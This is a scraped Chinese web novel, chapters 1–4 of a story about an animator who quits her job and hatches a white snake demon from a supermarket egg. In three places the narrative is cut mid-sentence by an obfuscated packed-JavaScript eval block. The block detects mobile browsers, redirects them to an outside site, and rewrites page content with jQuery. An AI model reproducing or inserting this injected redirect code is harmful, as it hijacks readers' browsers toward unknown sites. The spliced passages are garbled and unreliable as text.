《死对头要我驯养他》 1. 今生 她感到死亡正在无声无息地迫近。 一天一地,俱是几近于漆黑的深红,鼻端的血腥气逐渐淡去,五感正在悄然减退。 知觉已然麻木,胸腹间的致命伤仍流着血,却已经不再感到疼痛,她缓缓露出一个血迹斑驳的笑容。 “真好啊,小红,”她枕着腥甜的荒草,欣然地想,“你我终于都自由了。” 这一世刻骨铭心的爱憎与悲欢,终于挣脱了此身所铸的樊笼。 身与心同归于尽,黑暗彻底地吞噬了她的意识。最后一眼,她恍惚看见了一角纯白的衣袍,与一双滴血似的妖瞳。 “是你来接我了吗……?” 她已经无法再问出口。 这一年,仙都的文书记载了她的战绩与死亡:是年春,霞山君毒杀妖族新王九素。妖王至死顽抗,杀仙都联军万余众,东海千里流血。 战乱终平。同年末,霞山君叛逃,崩于东海战场。 而后日月更迭,沧海桑田。她在温暖而寂静的死亡之中长年安睡,而仙都的遗迹也被积雪覆盖,连带着那许多历史,一概被掩埋在不化的冰层之下了。 漫无边际的沉寂中没有时日,或许过了百年,也或许是千年,她终于听见了一个遥远的声音。 “阿舒,倘若重新开始,你最想要什么?” “……我想做个寻常人,”她听见自己梦呓般的低语,“不要什么天赋异禀,也不要权势富贵……亲缘俱全,不困于身份与仇恨,自由自在……” 那个人温柔地答应她:“好。” ——好个屁! 舒情非常后悔。如果这一生当真是她自己选的,如果还能回到那片温暖的黑暗中重选一次,她一定会毫不犹豫地再次向那个人许愿:我想要家里有矿、财富自由。 当个躺平的二代多好啊,为什么非要当社畜? “爆点!爆点呢?”傍晚六点半,她才走出商超大门,手机上就弹出来一条口水飞溅的工作消息,“让你拍女主洗澡,你在拍什么?说了多少次了,要抓人眼球!” “连个正面镜头都不给,你告诉我拿什么抓人眼球,啊?” “下班之前改完,必须直接给镜头,拍后背,拍大腿,起码得让组里的御姐控看完尖叫!”停顿两秒钟,又弹出一句:“你回去了??” 舒情还没来得及回,对面又突突出来三条信息,“动画做成这样还好意思下班”,“这是什么工作态度”,“九点之前全办公区没人不在工位,你还想不想干了?” 舒情吹了声口哨,心想:不好意思,姑奶奶还真不伺候了。 “余哥,”她回复,“我已经提了离职流程。” 对面的“正在输入”慢了几秒才消失,仿佛卡壳了。 “辞职单放在你桌面上了。怎么这也不够抓您的眼球?” “正在输入”闪烁不定,好似太阳穴上一根若隐若现的青筋。 舒情动了动手指,那行“正在输入”的提示语彻底哑火了——这没溜的妹子把自己的内网花名改成了“啊朋友再见”。 背后的高楼投下一片阴影,她一脚踏出明暗的交界线。夕阳已经收了工,半边天烧得金红。舒情举起手机拍了两张照,原地转了半圈,给自己和晚霞“咔嚓”来了张合影。 当了三年996社畜,看H市一个寻常的黄昏,都感觉云霞蔚然,是道好风景。 她哼着歌,回到租住的单身公寓,把新买的蔬菜生肉往冰箱里请。超市正好在做促销,基于“省点是点”的人生新原则,她一气儿买了后面两星期的口粮。 优惠的食材看着不怎么光鲜,赠送的一篮土鸡蛋更是各有风采。甚至还有一枚缺斤短两的,比其他鸡蛋瘦了一圈,细长条,分量轻了一小半。 “小气,本顾客流失了。”舒情嘀咕一句,又笑了,“算啦,反正是白送的。” 蛋在她手心里微不可察地动了动。她一愣,等了半晌,再没有动静。 是错觉吧? 她随手把这枚蛋也塞进了角落里,打算明天把它煮成茶叶蛋。 账本里记上新的一笔:买食材,-231.35。余额:12583.04。 舒情咬着笔杆子加加减减,算上房租,这笔钱能支撑两个多月。 自己做饭节省一点,短视频账号里的打赏提个现,再转手卖两条闲置小裙子,正好凑成三个月,能给自己放个久违的暑假。 她记着账,手机忽然又响,舒情捞过来一看,她主管——准确说是前主管,给她发来了老长的一篇小作文。 “之前我的话说得有点重。我也知道你连续加了两星期班很辛苦,这样,你今天先好好休息。之前是为了项目,也是为了你的未来考虑。” “理解你是个女孩子放不开,但做动画要迎合市场,假如能受欢迎,都是你的成绩……” “你还年轻,要多突破自己才能成长起来。现在大环境不好,你工作资历不深,离开了未必还能找到这么好的工作。” “等你冷静下来,我们再谈谈,我这是和你掏心掏肺……” 舒情叹为观止,认为她这主管的心与肺实在是形状别致:胸中一篇洋洋洒洒的说教,肋边两张画得溜圆的大饼,这要是去做个CT,搞不好还得赔医生精神损失费。 “谢谢余哥关心,”她嚼着薯片,只用小指尖戳键盘,“生理极限和破廉耻下限,这几年是突破得不少,我现在准备往别的方面去突破突破。” 回怼完,她叉掉聊天窗口,躺到床上,照旧刷了几条毛茸茸短视频。 她新关注了一个宠物区up主,养的白猫不仅漂亮,据说还有超能力。对着镜头卖卖萌,看着好生解压,睡前观看,甚至能起到褪黑素的作用——虽然没有超常生物管理机构认证,但已经得到了百万粉丝的统一盖章。 舒情满心羡慕地开始犯困,迷迷糊糊地想:又漂亮、又特别的小动物,她也好想要啊…… 她那半吊子的宠物up账号,大概就是她唯一的金手指了…… 舒情这一晚睡得很香甜,连梦也没做。第二天醒来时,心情也格外好,她哼着歌打开冰箱,打算给自己煎个荷包蛋。 一瞬间,她的笑容被扑面而来的冷气冻住了。 一句活泼明快的“日复一日”凝固在了结尾,活生生地扭曲成了一句拉长的国粹。 冰箱里面目全非,四壁上结着一层厚厚的霜。灯不会亮了,隔板裂成了碎片,昨天齐齐整整码在里头的蔬果零食全部遭难,集体冻成了硬邦邦的冰雕。寒气几乎有实质,纯白的霜气仍然在其中萦绕。 画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903010|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面堪比暴风雪过境,十分适合出现在战争片里当背景。 家用冰箱还是太小了,不应当容得下这等大场面。 舒情木着脸,目光向下、再向下。她看见,冰箱底部有一条小小的白蛇。 小白蛇没有她小拇指粗,盘起来也只有丁点大的一团。它蜷卧在狼藉的冰霜里,好像被她拉开冰箱门的动静惊吓到了,正吐着信子警惕地盯着她。 通身雪白的鳞片,滴血似的一对红瞳,还朝她发出含义不明的“嘶嘶”声。 ……看来这就是今天的罪魁祸首。 舒情刚睡醒的脑子停摆了起码五分钟,才终于迟缓地转动起来,理解了眼前的情况:一条小白蛇钻进了她的冰箱里,造成了难以想象的破坏。 这是命运给她开的愚人节玩笑吗? 她盯着蛇,蛇盯着她。对峙了一分钟,舒情“砰”的关上了冰箱门,保持着木然的表情,同手同脚走回卧室,躺回了床上。 闭眼数了十个数,舒情爬起来,重新洗漱了一遍,再次走进了厨房。 “刚才又是在做梦,”她自我安慰,“肯定是我今天的起床姿势不对。” 厨房里安静无声,风吹动窗外树影,舒情再一次和冰箱里的小白蛇四目相对。 既不是做梦,也不是幻觉,她在裸辞的第二天,遭到了一条小蛇的拆家袭击…… 存粮被糟蹋了且不论,这是公寓统一装的冰箱,弄不好她还得赔钱! 舒情怒从心起,随手抓起边上的空纸盒,充当了个粗制滥造的“紫金钵”,干脆利落地镇压了这条作妖的蛇。 她掂量着该把它怎么办——直接扔出去肯定不行,她虽然不怕蛇,但邻居们未必不怕;看这小东西的体型,恐怕还是个幼崽,虽说拆了她的冰箱,但也罪不至死。 交给消防队?或者干脆卖掉…… 还没来得及想出什么章程,一阵咚咚的敲门声突兀地切入,截断了她满脑子搅动的浆糊。 舒情脚不沾地飘去开门,一看,外面是单身公寓的管家,身后还跟着一位维修师傅——她的房东是专门出租单身公寓的运营商,管家兼任物业功能。 公寓管家问:“一早上就发现7楼断电了,你这儿的问题,怎么回事?” 舒情木然地指了指事故现场。 这现场比刚才还惨不忍睹,冰水渐渐融化,沥沥滴了一地。厨房里一片混乱,还有半拉苹果“咔嚓”掉落下来,堂而皇之地滚到了管家脚下,迫不及待地呈上了证供。 “怎么会弄成这样的!”管家崩溃了,一嗓子震得地板都抖了抖,“这软装花了大价钱的!这……这……这还能修吗?” “修不了了,换新的吧。接线口变形不说,冷凝器都完蛋了。”维修师傅先看冰箱,又看电路,“附近这电路都不行了,电线给冻坏了。万一漏电,那问题更严重,这一块都得重新装线。” 舒情问:“要多少钱?” 公寓管家按手机键盘的手飞舞出了残影,一通计算之后,亮出了赔付账单:买新冰箱的钱,更换线路的钱,人工服务费,检测费,重铺电路产生的装修费…… 林林总总加在一起,共计壹万伍仟玖佰陆拾捌圆贰角,巨款。 舒情眼前一黑。 把她掏空了都没有这么多! 2. 模仿秀 “扣完押金,还得赔这个数。”公寓管家恨不得把账单舞到她脸上,“房屋破坏成这个样子,我们有权利提前终止合同。麻烦你明天就搬出去,要不然,我就联系总部,强制清房了!” 背后传来一声凶狠的嘶鸣,舒情回头一看,小白蛇顶开了纸盒盖,正冲着管家极不友善地龇牙。 来得正好,她一指小白蛇:“讲点道理行不行,这完全是个由动物导致的意外——” “你还养这么危险的东西!”管家猝然看见一条蛇,脸色大变,和维修师傅齐齐倒退一步,“不管是你本人还是你的宠物,都等于是你造成的损失,这么危险的东西赶紧处理掉!总之赔钱,搬家,否则我们就报警了,这个损失,完全可以立案起诉!” 舒情莫名其妙:“谁说这是我的宠物了,我也不知道它是从哪……” 等等,它是从哪来的? 舒情后头的话突然卡住——她忽然想到小蛇是从哪来的了。 她昨天放进冰箱里的那枚“缺斤少两”的蛋,仔细想想,很像是爬行动物的崽子…… 她一个阅萌物无数的资深宠物爱好者,昨晚居然没有认出来,果然熬夜加班傻一天! 那小白蛇还在嘶嘶地企图吓退管家,从脑袋到尾巴还没有人家半截胳膊长,就敢在这儿恶龙咆哮了,也不知道它拥有一个怎样的自我认知。 难道是雏鸟情结,单方面地认她当妈了,所以自不量力,也要跳出来保护她? 管家还在她耳朵边上口沫横飞地哔哔,舒情深呼吸,忍住打人的冲动,盯着小白蛇又看了两眼。 虽然破坏力强了点,但小蛇的颜值无可挑剔。通身全无杂色,红瞳流光溢彩,看上去品相绝佳,是她见过的最好看的小蛇,难怪管家会把它认成自己的宠物。 她这人一向挺博爱的,只要是可爱的小动物她都喜欢,要是在短视频平台上看见它,她高低得点个收藏。 如果忽视它的来历,这不就是“漂亮且特别”的小动物吗? 这个颜值即正义的世界,一条美貌的小白蛇,说不定也能变现呢? “好,我可以赔,”舒情打断了管家的长篇输出,干脆地说道,“但既然让我负责,你们就不能处理掉这条蛇,它是我的!” “还有,到底要赔多少钱,你们重装电路到底是不是这个价,我要找人再算一遍……” 管家听完大为光火,两拨人吵了足有十分钟。最后,管家到底是怕蛇窜出来咬人,阴着脸,撂下一句“不赔钱就别想修电路”,拂袖而去。 舒情关上门,脱力地瘫在了沙发上。片刻后,小白蛇无声地靠近她,迟疑地吐了吐信子,大概想确认她的存活情况。 舒情筋疲力尽,戳了它脑袋一指头,“都怪你。” 小蛇往后一躲,咬了她一口——不痛,有点痒,油皮都没蹭破一丝。 也是,看着虽然挺凶,但其实它还是个才孵化的幼崽呢。 不过看她这厨房的惨状,又不像是个普通的蛇崽子了…… 舒情心里一动,开玩笑似的问:“你不会是个小妖怪吧?” 小蛇一动不动地望着她。 舒情迅速地打消了这个异想天开的念头。网上那些小妖怪们都珍稀得要命,无数有钱人捧着大笔的钱求而不得。随便拎一只出来,身家可能都有七位数,能值一套房。 她一个抽卡都得指望大保底的非酋,随随便便就捡到一套房,听着就不现实。 想来,就是某个倒霉的爬宠繁育商配出来的宠物蛇蛋,经过一系列难以想象的奇遇,混进了商超的赠品里,最后在她的冰箱里孵化,意外钻坏了什么关键零件吧…… “既然拆了我家,”她叹气,轻轻摸了摸它的尾巴,“那就遵循你们蛇蛇的优良传统,用你自己抵债吧。” ……谁要给你以身抵债。 小白蛇郁闷地吐了吐信子。 你我早就两清了,小蛇妖想。前世种种早已一笔勾销,你和我再没有关系,再不该有交集。 可是为什么这副新的妖身,竟会在你的住处成形呢? 偏偏欠了你一笔债……偏偏狭路相逢,又遇见了你。 一室之内,人和蛇心思各异,但共同点在于心情都很糟糕,都感到自己遭受了命运的暴击。舒情连早饭都没心思吃了,随手撕了块奶糖放进嘴里,勉强给自己补充了一波电量。 小蛇盯着看,红眼睛里隐约流露出一丝渴望,却又不肯凑上来讨要。 舒情拒绝:“你不能吃。” 蛇和人类物种差异太大,不能随便投喂,还得赶紧给它买小白鼠…… 手机这时响了一声,舒情拿起来一看,是余哥在行业群里分享了一篇雄文。 洋洋洒洒几千字,对玩自媒体的当代年轻人们进行了一通数据翔实的嘲讽,字里行间都是“少做白日梦”。 他还发表了一句锐评:“现在的小姑娘们,满脑子不切实际,就是被社会毒打得少了。祝某些人顺利吧!” ……昨天填离职信息表的时候,她刚在“未来规划”那栏搪塞过一句“想试试自媒体”。 舒情嘎吱嘎吱地把奶糖嚼了,一字字删掉了输入框里的一句“那是,您挨的打比我们打的卡都多呢”,屏蔽群消息。 她咬牙切齿地支棱起来,决定现在就去更新她的短视频! 舒情的短视频账号是个野路子宠物up主,还是她的“金手指”,有给她回血的特殊功能——每次更新完,收获一评论区的“好可爱”,她都像打了鸡血似的,能精神奕奕好几天,在ddl之前使用有奇效。 她把这事分享给了朋友,朋友同情地拍了拍她的肩:“是心理作用。” 舒情:“……” 她只好默默地藏好了她的金手指,时不时给自己续一续。 既然是金手指,就更得好好运营了,舒情琢磨着该更新点什么。她喜欢小动物,但从前上班的时候,天天忙得脚打后脑勺,根本没时间养,只能周末去各种宠物店回血。 有一次顺道拍了一条视频,居然引来了不少观众,误打误撞进入了宠物赛道。 现在她有了自己的小蛇,本来是件好事。 但爬宠爱好者毕竟小众,上古的人类把对蛇的恐惧刻进基因,今人仍然谈之色变,这是实实在在挡在她“颜值变现”之路上的绊脚石。 要是拍日常卖萌视频,它肯定不如毛茸茸受欢迎。 舒情搜索枯肠地想了好半天,决定打开短视频app,参考参考其他前辈的经验。 她趴在沙发上,刷短视频app的宠物区。昏昏欲睡的小白蛇被屏幕上五光十色的画面吸引了,矜持地盘在不远处,和人类一起认真学习。 遇事不决果然还是得向前辈讨教,没有三分钟,舒情就找到了灵感,“有了,我们也可以去模仿‘超常生物’!” “超常生物”,俗称妖怪,全称“自然能量超常规物种”,在舒情这种新潮人士的圈子里,还有个花名叫宝可梦。 这么多名字,本身就说明了人们对它的高度关注。宠物区最受欢迎的那批up主,十之七八养的都是小妖怪,连普通宠物模仿小妖怪们拍的视频,流量都不少。 这种视频对“无害”就没有要求了,人气榜第五名就是一条会幻术的大蛇妖。舒情和小蛇商量,“就模仿这个?” 小蛇别开头,不理她,红瞳里隐约流露出一丝不屑一顾的神气。 舒情惊喜地说:“你还挺会呢!” 该网红蛇妖能火,不止因为超能力,还因为它有个“口嫌体直”的标签——每次拍视频,up主都得好言好语恳求半天,它才肯表演。 通过屏幕传递的幻象,都是升职、暴富之类的美事,像个三秒即醒的好梦。 小白蛇刚才这一扭头,就很有股子相似的傲娇味,舒情顿时看到了希望的曙光。 导演敲定了方案,然而演员完全不肯合作。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903011|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她让小蛇看她的手,小蛇咬她,形象地表演了什么是《农夫与蛇》;让它靠近可乐罐,它一尾巴把可乐罐掀翻,给她唱了一出《水漫金山》;她试图用食物引诱,它就干脆把自己往灯架上一挂,来了个《不食周粟》。 节目还挺多,没一条配合。 舒情没招了,瘫坐在一地被拆得七零八落的布景里,抬头望着灯架上缠着的小蛇,悲伤地认识到:这厮可能只会拆家。 难道真被余哥说中了,她就是做不成吗? “宝贝儿,能不能配合一下?”她双手合十,朝小蛇拜了拜,徒劳地念叨,“你不配合,我上哪儿去弄钱赔给公寓,总不至于让我再跳回火坑里吧……” 宝、宝贝儿……? 小白蛇鳞片都炸了,红瞳剧烈地缩成了极细的一线。 什么轻佻的称呼,谁是她的宝贝儿! 舒情眼前一花,完全没搞明白发生了什么,手腕就是一凉。继而,她发现她动不了了,定睛一看,小蛇拿自己当做一条绳子,绞在她两个手腕上,冲着她嘶嘶龇牙。 啊这…… 这画面好似不太妙,蛇崽子才出壳没有一天,就已经这么会了吗? 舒情赶紧排除了脑子里诡异的联想,轻轻挣了一下,无果。小蛇把她捆了个明明白白,力气还挺大的。 “你松手……”舒情这辈子没有想过自己会横遭一条宠物蛇绑架,也不敢用力挣扎,小蛇还没她小拇指粗,她怕一不小心伤到它,“松嘴……不是,总之把你自己松开?” 小蛇无动于衷地盯着她,蛇身缓慢地越绞越紧,腹鳞簌簌地摩擦着她的手腕。 冰雪般的鳞片徐徐游走,鳞片之下,女孩洁白的手腕上,隐约已经可见一道浅浅的红痕。 舒情无奈极了,“你不配合我就算了,可我还要干活呢。真要是被赶出去怎么办,你能帮我赚钱养家吗,宝贝儿?” 小蛇这次终于有了反应,它低下头,一口咬住了她的手指尖。 蛇信分叉的尖端,湿漉漉地拂过指甲内细嫩的软肉,惊动了一众敏锐的神经末梢。舒情忍不住一个激灵,浑身上下过电似的一抖。 她只得连哄骗带威胁,手忙脚乱地折腾了五分钟,才总算把小蛇摘下来,还给自己弄出了一身的汗。 舒情坐在满地狼藉里叹了口气,爬到镜头前,把刚刚录下来的视频回放了一遍。 模仿秀是别想了,小蛇盘在沙发上冷冰冰地看着她,显然不可能再配合她拍别的。 只能从已经拍下来的镜头里找点素材试试了,起码混一次更新…… 舒情现场构思,咔咔剪出来一条视频,回放一遍,自己倒觉得还挺带劲。 但光她自己喜欢没什么用——她以前在互联网大厂做动画设计,每回交稿,都被说“要迎合市场”,可见她的眼光和市场的喜好存在不小的偏差。 模仿超常生物,是她认认真真翻了宠物区才确定的方案,现在忽然自由发挥,会不会太不靠谱了? “反正也已经没有更好的选择了,”她又看了一眼剩下那些没法用的素材,对自己说,“就这么着吧!” 舒情没抱什么希望,把视频传上了短视频平台,转身又打开了外包网站,打算接几个镜头设计的外包单救急。 只可惜外包平台比就业市场还卷,价格压得低不说,她问了好几家,不是要试稿,就是要竞稿,要么就是周期长,远水救不了近火。 她痛苦地趴到了数位板上,拿笔在上面乱画,“赚钱好难啊……” 这屋里唯一的另一个生物全然不能感同身受,它盘在电脑桌衣角,竖瞳冰凉地睨着她。 舒情叹了口气,决定不再继续折磨自己,合上了笔记本电脑。她打开手机,下意识地找到了短视频app。 手指悬停在图标上,她心脏怦怦直跳。抱着“就算毫无反响也没关系”的自我安慰,她以堪比高考查分一般的心态,一指头戳下去。 3. 妖 短视频app跳出了开屏广告,倒数3、2、1秒。后台经过了漫长的一个世纪,才刷出了熟悉的小红点。 没显示具体数量,只有一串暧昧不清的“…”。 舒情抖着手切到后台,一瞬间,她差点从椅子上蹦起来。 后台足有四位数的未读信息提示,不到一下午时间,她新发的视频已经冲上了宠物区排行榜。 近十万播放量,五千多个点赞,粉丝数一路翻了三倍,弹幕和评论热火朝天。舒情往下一划,翻不到底,还在实时地往外跳。 “斯哈斯哈” “大数据给我记住!我要看这个!” “卧槽……建模一样的手,建模一样的蛇” “蛇蛇:我不凶吗?这些人在尖叫什么?” “美女与蛇prprpr” “好灵性,是不是小妖怪?” “一时不知道该羡慕手还是羡慕蛇” “擦咧是真的蛇!” 被大家一起赞上了最热评的是,“点我空降5s!咦,我的屏幕怎么脏了[狗头.jpg]” 舒情都不用拉进度条,就秒懂——5s的时候,她加了个飘红的危险警告特效。小蛇顶着这个特效,闪电般扑到了她手上,在0.75倍速的特写镜头里,它阴恻恻地吐着蛇信子,咬住了她的指尖。 美丽与危险,乃是不逊于爱与死的绝配。一瞬间,弹幕泄洪一般地席卷而过。 预警的声与光、缠绕啃咬、女孩的手、冷血动物,种种元素混合在一起,产生了某些只可意会的化学作用。小白蛇的恐吓变了味,油然生出一股子危险的亲近感和故事性。 舒情连脸都没露,只出镜了一双手,效果远比什么“正面镜头”强得多,引来一片狼叫。 这还不是结束,数据仍然在往上跳,后台还有打赏…… 她之前那堆宠物视频加在一块,打赏都没有这一条多! “宝贝儿,”舒情喃喃地说,“你好像真的能帮我赚钱养家哎。” 虽说比不上爆红的毛茸茸,但也是相当不错的数据了,放在爬宠区,妥妥是个顶流。 还接什么外包单啊,明天再拍条视频,巩固一波今天这从天而降的流量,以后蹭活动,接广告,全都不在话下了! 舒情哼着小曲,截图了后台的盛况,轻快地点开了那个遭她屏蔽的行业群。 尖牙利齿地怼回去固然爽,但用事实打脸才是王道,有图有真相! 打脸的信息才编辑到一半,急而重的砸门声突然炸雷似的响起来。管家在外面大声喊,“舒情!开门!” 舒情刚才还飘飘然的心蓦然一沉——听这个动静,她觉得管家不会是带人来给她修电路的。 她第一反应是摸了摸小蛇的脑袋安抚它,随即高声答应:“来了……” ——“嗵”! 地震似的一声,舒情惊愕地僵立在门口,和被强硬踹开的房门只隔着不到两米。 门外不止有公寓管家,还跟着两个穿保安制服的壮汉,目测不下八十公斤,显然来者不善。 舒情:“……” 让她“明天搬出去”,这要求简直是视合同如草纸。她要是录了音,那都能起诉了,结果他们还真的带人来清场? 她下意识地横挪了一步,挡住了她的小白蛇,垂落的袖口里,悄悄露出了黑洞洞的手机摄像头。 “哟,设备还挺专业的。”管家一眼看见了舒情背后的摄影设备,冷笑一声,“有钱买设备,没钱赔偿?这相机卖了总能赔上吧,赶紧交钱!要么你现在就给我搬出去。” 两个壮汉训练有素,齐齐踏进房门。 小白蛇不甘示弱,循着舒情的脊背爬上她肩头,凶戾地嘶嘶吐信子。 舒情在心里哀叹一声:祖宗,你就别挺身而出了…… 她抬起左手护住小蛇,右手不动声色地转了转,让手机镜头悄悄对准两个壮汉的脸。她说:“就算要我搬出去,也得提前半个月告知,合同里写得清清楚楚。你们讲不讲道理?” “那前提是你赔钱!”管家咆哮,“你不赔钱,怎么修电路?这一断电影响整个7楼,住户都投诉了!” 舒情手心一层汗,脑子里却迅速地抓到了“投诉”这个关键词——管家找她要的赔款明显有水分,看她不赔,就拿“不修电路”相威胁。 然而电路影响整个楼层,估计是7楼的其他住户找总部投诉,总部又反过来给管家施压,管家没法再拖了,才有了这一出。 他们根本不是来清场的,他们是来从她身上榨钱的。 挺巧,她也正好想来一波大的“投诉”。 这时两个壮汉已经靠近了她的摄影设备,舒情一把掏出袖管里藏着的手机,镜头锁定了管家制服上的“佳加连锁公寓”logo。 她高声说:“你敢碰试试?我在直播,你想给观众都看看你们佳加公寓是怎么对待住户的?” 她视频还在推广期,这会儿正是流量大的时候。从他们破门而入开始到现在,短短几分钟,直播间里已经聚集了不少人。 一看这阵仗,谁都不敢走,弹幕嗖嗖往外弹,瞬间刷了满屏。 “已报警!” “永拒佳加” “截图了,我会记住这几张脸” 舒情翻转手机,在管家面前晃了晃屏幕,让他看看弹幕的数量。 管家脸都绿了,完全没料到她还有这么一手,不过脑子地嚷了一声:“砸了她手机!” ……高估了他们的智商,真不怕把事闹大! 汗臭味一刹那就扑上了面孔,三个大男人,步步紧逼地朝她扑过来。 单身公寓统共只有五十多平米,从门口一路能看到对面的窗户,连个掩体都没有。三个人堵住了门的方向,她又住在7楼,藏无可藏,逃无可逃。 有那么一瞬间,舒情大脑一片空白,心想:完犊子。 “想当众砸我手机是吗?就算砸了也没用,这么多人都已经看见了!”她手无寸铁地缩到墙角,下意识闭上了眼睛,全身上下只有一张嘴能充当武器,还没缴械,企图负隅顽抗。 她说:“你敢砸,这件事就得立案起诉,你们敢动我,就是刑事案件!” “现在至少还只是冲突,还可以调解解决,你想把事情闹到要上法庭进看守所吗?” 没有声音。 她的最差预想里,恐怕有推搡和疼痛;她基于理性的预想里,应该有沟通与回答。 但什么都没有——既没有身体上的冲突,也没有语言上的交流,对面的三个人好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903012|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然就不在这片空间之中了。 舒情心想:这是真被她的“弹幕护体”大法给震慑住了? 她立刻睁开眼睛,然后,缓慢地眨了眨眼。 发生了什么……? 被三个大男人挤满的视野骤然空了,她视线下移,不可置信地发现他们都已经匍匐在她脚下,管家的头顶几乎要挨着她的拖鞋。 三个人统一五体投地,看不见脸,只有三个后背陈列在她面前,组成了一个形状险恶的三角形。 这是什么行为艺术? 就算怕把事情闹大,也不必行此大礼吧…… 她立刻去看直播屏幕。网线另一端的观众们目睹了全程,比舒情明白多了,已经陷入了一场赛博狂欢。 礼花轰炸,游轮开过,火箭乱飞,刚从暴力之中幸存下来的手机屏,现在差点被这礼物的阵仗冲破。 弹幕好似阅兵礼上的一排坦克,惊天动地碾过去。 字与字已经叠加到了难以分辨的程度,舒情勉强从里面提取出了最高频的一个字眼——“妖”。 “好厉害的蛇妖!” “我就说!真的是小妖怪!” “我擦这也是蛇妖幻术吗” “@超常规生物管理局这里有只新的小蛇妖!” “卧槽了第一次见能控住三个成年男人的小妖怪” 舒情僵硬地蹲下身,对上了管家的脸。管家的脸色是活见了鬼的惊恐,对她的动作却毫无反应,瞳孔里泛着一层纯白的霜气,兀自不断地跳动抽搐,仿佛漫画里行尸走肉的眼瞳。 虽然说不清楚到底是怎么回事,但这显然不属于人类常规科学的范畴…… 小蛇妖懒洋洋地趴在舒情肩膀上,打了个哈欠,漫不经意地瞥了底下的三个人一眼。 从两三个小时之前,他已经感觉到自己的妖力在恢复。空气中仿佛有看不见的涓滴微雨,凝成溪流,淌过百骸,最终汇入空荡荡的妖丹之中。 可惜终究是太少了,甚至还及不上这具妖身破壳的时候引发的动荡,竟只能动用幻术这等上不得台面的小伎俩。 好在也够了。让他们在幻象里被群蛇撕咬去吧,但愿他们胆子足够大,要是被早早地吓死,那可就不好了。 “你,”舒情吞了吞口水,放轻了声音问,“你真的是个小妖怪呀?” ……好耳熟的一句话。 很久很久以前,她曾说过一模一样的话。那时候他是个很弱小的小妖怪,不比现在好多少,满身都是伤痕和血迹,蜷缩在无边的黑暗里。 周围没有一丝光,不知年月,不知朝暮。天生灵物的眼睛,在黑暗之中也无计可施,只能辨别出模糊的轮廓。 那时候,她也还只是个小女孩,与他同牢为囚。 小姑娘脏兮兮的面孔与周遭的阴影无法区分,然而她有一双亮晶晶的眼睛,刺破了深浓的晦暗。精铁浇筑的牢笼将他们分隔在两片空间里,她从那一头伸长了手臂,摸索着碰到他破碎的蛇鳞,于是怜悯地说,“你真的是个小妖怪呀。” 跨越千年百代,两双晶亮的眼瞳逐渐重合,模糊的话语与耳边的声音彼此交叠。 纵然没有修为,没有记忆……然而她还是他昔日相识的霞山君。 他的杀身仇人,霞山君。 4. 往世 舒情瞠目结舌,她看到小蛇朝她点了点头。 那动作很矜持、很斯文、很优雅,红瞳里甚至还流露出一丝“这也要问”的嫌弃。 活像个傲娇的大小姐……也可能是大少爷。 “缓缓,让我缓缓……”她下意识地揉了把脸,难以置信地喃喃道,“我运气真这么好?随手一捡,就捡到一只小蛇妖?……” 相当于凭空捡到一张数十万乃至于数百万的彩票,这是多小概率的事件? “别缓了!”直播间观众已经提前一步从“蛇妖开大”的精神冲击中回过神来,看舒情还在原地,比她还急,纷纷刷起了叫她快跑的弹幕。 “小蛇妖的超能力坚持不了多一会” “主播快跑!” 舒情如梦初醒,赶紧听从热心群众的建议,躲到楼道里紧急避险去了。 不过这次网友们判断失误,一刻钟后,警察赶到现场,把他们集体打包带到公安局时,那三个人都没有丝毫要从幻觉里醒来的迹象。 她从公安局里出来的时候,天已经全黑了。 笔录做得还算顺利——她直播开得及时,拍摄了管家非法入室的全过程,事实清楚,证据确凿;公寓管家摆脱幻象之后,也发着抖承认了自己虚报赔偿、敲诈勒索的原始动机。 至于小蛇妖的幻术攻击,虽然造成了巨大的精神创伤,但以当下的法理而言,连轻微伤也无法成立,属于标准的正当防卫。 警察让她留了个联系方式,就放她走了,只叮嘱她“别忘了去超常生物管理机构,做全面检测和登记”。 舒情就近找了一家酒店入住。家里电路还没修,回去连个热水澡都洗不了。 进到空调房里,她才终于有了一点噩梦初醒的实感,带着一身奔走的尘土,一屁股将自己砸进了酒店的软沙发上。 小蛇妖从她袖管里爬出来。它才破壳一天,就被迫经历了这么多乱七八糟的破事,临时换了环境,也并不害怕,悠闲地在四周逡巡,像在巡视领地。 舒情伸手把它抓过来,将它从脑袋到尾巴每一寸鳞片都检查了一遍,除了外面的尘迹,没发现任何不妥的地方,这才松了口气。 她凑过去,在它脑袋上轻轻亲了一下。 小蛇妖僵住了,一激灵,张牙舞爪地扑腾起来。硬控三条大汉半小时的技能仿佛退化了,居然说什么都挣脱不了女孩柔软的手掌。 舒情据此判断:是个脆皮法爷。 